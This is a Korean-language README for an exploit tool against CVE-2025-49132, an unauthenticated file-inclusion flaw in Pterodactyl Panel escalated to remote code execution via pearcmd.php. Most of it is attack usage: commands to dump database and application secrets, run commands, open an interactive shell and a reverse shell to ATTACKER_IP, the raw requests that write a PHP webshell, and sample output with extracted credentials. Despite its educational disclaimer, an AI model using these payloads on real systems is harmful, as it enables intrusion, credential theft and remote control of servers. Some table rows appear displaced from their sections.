
Pterodactyl용 CVE (학습 및 교육용)
⚠️ 면책 조항: 이 저장소는 CVE-2025-49132를 이해하고 문서화하기 위한 보안 연구의 일환으로 교육 및 연구 목적으로만 생성되었습니다. 취약점 발견에 대한 모든 공로는 원저 연구자(들)에게 있습니다.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Pterodactyl Panel - Unauthenticated LFI to RCE Exploit
CVE-2025-49132는 PHP의 pearcmd.php를 통해 **원격 코드 실행(RCE)**으로 확대될 수 있는 Pterodactyl 패널의 인증되지 않은 로컬 파일 포함(LFI) 취약점입니다.
이 취약점은 /locales/locale.json 엔드포인트에 존재하며, 해당 엔드포인트는 locale 및 namespace 매개변수를 제대로 검증하지 못해 공격자가 임의의 PHP 구성 파일을 읽고 코드 실행을 달성할 수 있게 합니다.
| 상태 | 버전 |
|---|---|
| ❌ 취약 | <= 1.11.10 |
| ✅ 패치됨 | >= 1.11.11 |
pearcmd.php LFI2RCE 기법을 통한 원격 코드 실행# 저장소 클론
git clone https://github.com/YOUR_USERNAME/CVE-2025-49132.git
cd CVE-2025-49132
# 의존성 설치
pip install requests
requests 라이브러리curl (RCE 모드용)# 데이터베이스 구성 읽기
python exploit.py -u http://target.com --read -p ../../config -f database
# 애플리케이션 구성 읽기 (APP_KEY 포함)
python exploit.py -u http://target.com --read -p ../../config -f app
# 기타 구성 읽기
python exploit.py -u http://target.com --read -p ../../config -f auth
python exploit.py -u http://target.com --read -p ../../config -f session
python exploit.py -u http://target.com --read -p ../../config -f mail
# 단일 명령 실행
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "id"
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "whoami"
# 대화형 셸 모드
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR
# 리버스 셸
python exploit.py -u http://target.com --rce -p ../../../../../../usr/share/php/PEAR --cmd "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
| 배포판 | 경로 |
|---|---|
| Debian/Ubuntu | ../../../../../../usr/share/php |
| SUSE/OpenSUSE | ../../../../../../usr/share/php/PEAR |
취약한 엔드포인트 /locales/locale.json은 locale 및 namespace 매개변수를 허용합니다:
GET /locales/locale.json?locale=../../config&namespace=database
이를 통해 배열을 반환하는 모든 PHP 파일(라라벨 구성 파일 포함)을 읽을 수 있습니다.
이 익스플로잇은 LFI를 pearcmd.php와 연결하여 RCE를 달성합니다:
1단계: pearcmd.php의 config-create 명령을 사용하여 PHP 웹셸 작성
/locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&/<?=system(...)?>+/tmp/shell.php
2단계: LFI를 통해 작성된 셸 포함
/locales/locale.json?locale=../../../../../../tmp&namespace=shell&c=<hex_encoded_cmd>
════════════════════════════════════════════════════════════
DATABASE CONFIGURATION
════════════════════════════════════════════════════════════
default: mysql
connections:
mysql:
driver: mysql
host: 127.0.0.1
port: 3306
database: panel
username: pterodactyl
password: SecretPassword123
────────────────────────────────────────────────────────────
[+] Configuration extracted successfully!
[*] Target: http://panel.example.com
[*] Executing command: id
[*] Writing payload to: /tmp/cmd_abc123.php
[+] Output:
----------------------------------------
uid=474(wwwrun) gid=477(www) groups=477(www)
----------------------------------------
locale 및 namespace 매개변수에 대한 적절한 입력 검증 구현register_argc_argv 지시문 제한이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.
책임감 있고 윤리적으로 사용하십시오.
⭐ 이 저장소가 유용했다면 스타를 눌러주세요!
| CentOS/RHEL | ../../../../../../usr/share/pear |
| Alpine | ../../../../../../usr/share/php8 |
| 인수 | 설명 |
|---|
-u, --url | 대상 URL (필수) |
-p, --path | LFI용 경로 탐색 또는 RCE용 PEAR 경로 |
-f, --file | 읽을 PHP 파일 (.php 확장자 제외) |
--read | LFI 읽기 모드 활성화 |
--rce | RCE 모드 활성화 |
--cmd | 실행할 명령 (단일 실행 모드) |
--sdir | 셸을 작성할 디렉터리 (기본값: /tmp) |
--sname | 셸 파일 이름 (기본값: shell) |